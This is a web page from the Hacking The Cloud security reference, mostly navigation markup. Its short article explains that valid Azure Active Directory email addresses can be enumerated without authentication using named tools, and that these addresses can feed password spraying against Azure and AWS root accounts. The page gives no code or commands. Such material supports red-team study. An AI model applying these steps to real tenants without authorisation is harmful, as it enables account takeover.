class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc hidden> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Wes Ladd (@righteousgambit)</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/azure/enum_email_addresses.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1 id=unauthenticated-enumeration-of-valid-azure-active-directory-email-addresses>Unauthenticated Enumeration of Valid Azure Active Directory Email Addresses<a class=headerlink href=#unauthenticated-enumeration-of-valid-azure-active-directory-email-addresses title="Permanent link">&para;</a></h1> <p>You can enumerate valid email addresses associated with the Azure Active Directory service using <a href=https://github.com/knavesec/CredMaster>CredMaster</a> or <a href=https://github.com/righteousgambit/quiet-riot>Quiet Riot</a>. These addresses can be used for password spraying attacks, a technique where an attacker attempts to authenticate against multiple accounts using a set of commonly used passwords. This can potentially grant unauthorized access to the target account. It can also be used to test for valid Root User accounts in AWS, assuming that the email address is the same. Then, a similar password spraying approach can be implemented against identified AWS Root User accounts.</p> <aside class=md-source-file> <span class=md-source-file__fact> <span class=md-icon title="Last update"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M21 13.1c-.1 0-.3.1-.4.2l-1 1 2.1 2.1 1-1c.2-.2.2-.6 0-.8l-1.3-1.3c-.1-.1-.2-.2-.4-.2m-1.9 1.8-6.1 6V23h2.1l6.1-6.1zM12.5 7v5.2l4 2.4-1 1L11 13V7zM11 21.9c-5.1-.5-9-4.8-9-9.9C2 6.5 6.5 2 12 2c5.3 0 9.6 4.1 10 9.3-.3-.1-.6-.2-1-.2s-.7.1-1 .2C19.6 7.2 16.2 4 12 4c-4.4 0-8 3.6-8 8 0 4.1 3.1 7.5 7.1 7.9l-.1.2z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">April 12, 2023</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Created> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M14.47 15.08 11 13V7h1.5v5.25l3.08 1.83c-.41.28-.79.62-1.11 1m-1.39 4.84c-.36.05-.71.08-1.08.08-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8c0 .37-.03.72-.08 1.08.69.1 1.33.32 1.92.64.1-.56.16-1.13.16-1.72 0-5.5-4.5-10-10-10S2 6.5 2 12s4.47 10 10 10c.59 0 1.16-.06 1.72-.16-.32-.59-.54-1.23-.64-1.92M18 15v3h-3v2h3v3h2v-3h3v-2h-3v-3z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">April 11, 2023</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Contributors> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M12 2A10 10 0 0 0 2 12c0 4.42 2.87 8.17 6.84 9.5.5.08.66-.23.66-.5v-1.69c-2.77.6-3.36-1.34-3.36-1.34-.46-1.16-1.11-1.47-1.11-1.47-.91-.62.07-.6.07-.6 1 .07 1.53 1.03 1.53 1.03.87 1.52 2.34 1.07 2.91.83.09-.65.35-1.09.63-1.34-2.22-.25-4.55-1.11-4.55-4.92 0-1.11.38-2 1.03-2.71-.1-.25-.45-1.29.1-2.64 0 0 .84-.27 2.75 1.02.79-.22 1.65-.33 2.5-.33s1.71.11 2.5.33c1.91-1.29 2.75-1.02 2.75-1.02.55 1.35.2 2.39.1 2.64.65.71 1.03 1.6 1.03 2.71 0 3.82-2.34 4.66-4.57 4.91.36.31.69.92.69 1.85V21c0 .27.16.59.67.5C19.14 20.16 22 16.42 22 12A10 10 0 0 0 12 2"/></svg> </span> <span>GitHub</span> <nav> <a href=https://github.com/Frichetten class=md-author title=@Frichetten> <img src="https://avatars.githubusercontent.com/u/10386884?v=4&size=72" alt=Frichetten> </a> <a href=https://github.com/righteousgambit class=md-author title=@righteousgambit> <img src="https://avatars.githubusercontent.com/u/35244835?v=4&size=72" alt=righteousgambit> </a> </nav> </span> </aside> </article> </div> <script>var target=document.getElementById(location.hash.slice(1));target&&target.name&&(target.checked=target.name.startsWith("__tabbed_"))</script> </div> </main> <footer class=md-footer> <div class="md-footer-meta md-typeset"> <div class="md-footer-meta__inner md-grid"> <div class=md-copyright> Made with <a href=https://squidfunk.github.io/mkdocs-material/ target=_blank rel=noopener> Material for MkDocs Insiders </a> </div> <div class=md-social> <a href=https://infosec.exchange/@hackingthecloud target=_blank rel="noopener me" title=infosec.exchange class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M433 179.11c0-97.2-63.71-125.7-63.71-125.7-62.52-28.7-228.56-28.4-290.48 0 0 0-63.72 28.5-63.72 125.7 0 115.7-6.6 259.4 105.63 289.1 40.51 10.7 75.32 13 103.33 11.4 50.81-2.8 79.32-18.1 79.32-18.1l-1.7-36.9s-36.31 11.4-77.12 10.1c-40.41-1.4-83-4.4-89.63-54a102.5 102.5 0 0 1-.9-13.9c85.63 20.9 158.65 9.1 178.75 6.7 56.12-6.7 105-41.3 111.23-72.9 9.8-49.8 9-121.5 9-121.5m-75.12 125.2h-46.63v-114.2c0-49.7-64-51.6-64 6.9v62.5h-46.33V197c0-58.5-64-56.6-64-6.9v114.2H90.19c0-122.1-5.2-147.9 18.41-175 25.9-28.9 79.82-30.8 103.83 6.1l11.6 19.5 11.6-19.5c24.11-37.1 78.12-34.8 103.83-6.1 23.71 27.3 18.4 53 18.4 175z"/></svg> </a> <a href=https://bsky.app/profile/hackingthe.cloud target=_blank rel=noopener title=bsky.app class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </a> <a href=https://x.com/HackingthCloud target=_blank rel=noopener title=x.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M459.37 151.716c.325 4.548.325 9.097.325 13.645 0 138.72-105.583 298.558-298.558 298.558-59.452 0-114.68-17.219-161.137-47.106 8.447.974 16.568 1.299 25.34 1.299 49.055 0 94.213-16.568 130.274-44.832-46.132-.975-84.792-31.188-98.112-72.772 6.498.974 12.995 1.624 19.818 1.624 9.421 0 18.843-1.3 27.614-3.573-48.081-9.747-84.143-51.98-84.143-102.985v-1.299c13.969 7.797 30.214 12.67 47.431 13.319-28.264-18.843-46.781-51.005-46.781-87.391 0-19.492 5.197-37.36 14.294-52.954 51.655 63.675 129.3 105.258 216.365 109.807-1.624-7.797-2.599-15.918-2.599-24.04 0-57.828 46.782-104.934 104.934-104.934 30.213 0 57.502 12.67 76.67 33.137 23.715-4.548 46.456-13.32 66.599-25.34-7.798 24.366-24.366 44.833-46.132 57.827 21.117-2.273 41.584-8.122 60.426-16.243-14.292 20.791-32.161 39.308-52.628 54.253"/></svg> </a> <a href=https://www.linkedin.com/company/hacking-the-cloud/ target=_blank rel=noopener title=www.linkedin.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M416 32H31.9C14.3 32 0 46.5 0 64.3v383.4C0 465.5 14.3 480 31.9 480H416c17.6 0 32-14.5 32-32.3V64.3c0-17.8-14.4-32.3-32-32.3M135.4 416H69V202.2h66.5V416zm-33.2-243c-21.3 0-38.5-17.3-38.5-38.5S80.9 96 102.2 96c21.2 0 38.5 17.3 38.5 38.5 0 21.3-17.2 38.5-38.5 38.5m282.1 243h-66.4V312c0-24.8-.5-56.7-34.5-56.7-34.6 0-39.9 27-39.9 54.9V416h-66.4V202.2h63.7v29.2h.9c8.9-16.8 30.6-34.5 62.9-34.5 67.2 0 79.7 44.3 79.7 101.9z"/></svg> </a> <a href=https://github.com/Hacking-the-Cloud target=_blank rel=noopener title=github.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </a> <a href=https://hackingthe.cloud/feed_rss_created.xml target=_blank rel=noopener title=hackingthe.cloud class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M0 64c0-17.7 14.3-32 32-32 229.8 0 416 186.2 416 416 0 17.7-14.3 32-32 32s-32-14.3-32-32C384 253.6 226.4 96 32 96 14.3 96 0 81.7 0 64m0 352a64 64 0 1 1 128 0 64 64 0 1 1-128 0m32-256c159.1 0 288 128.9 288 288 0 17.7-14.3 32-32 32s-32-14.3-32-32c0-123.7-100.3-224-224-224-17.7 0-32-14.3-32-32s14.3-32 32-32"/></svg> </a> </div> </div> </div> </footer> </div> <div class=md-dialog data-md-component=dialog> <div class="md-dialog__inner md-typeset"></div> </div> <script id=__config type=application/json>{"base": "../..", "features": ["navigation.tabs", "navigation.indexes", "content.action.edit"], "search": "../../assets/javascripts/workers/search.c7c1ca2c.min.js", "translations": {"clipboard.copied": "Copied to clipboard", "clipboard.copy": "Copy to clipboard", "search.result.more.one": "1 more on this page", "search.result.more.other": "# more on this page", "search.result.none": "No matching documents", "search.result.one": "1 matching document", "search.result.other": "# matching documents", "search.result.placeholder": "Type to start searching", "search.result.term.missing": "Missing", "select.version": "Select version"}}</script> <script src=../../assets/javascripts/bundle.203fd0bc.min.js></script> <script src=../../javascripts/matomo.min.js></script> <script id="init-glightbox">const lightbox = GLightbox({"touchNavigation": true, "loop": false, "zoomable": true, "draggable": true, "openEffect": "zoom", "closeEffect": "zoom", "slideEffect": "slide"});
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#unauthenticated-enumeration-of-valid-azure-active-directory-email-addresses class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class=md-tabs__item> <a href=../../aws/general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" 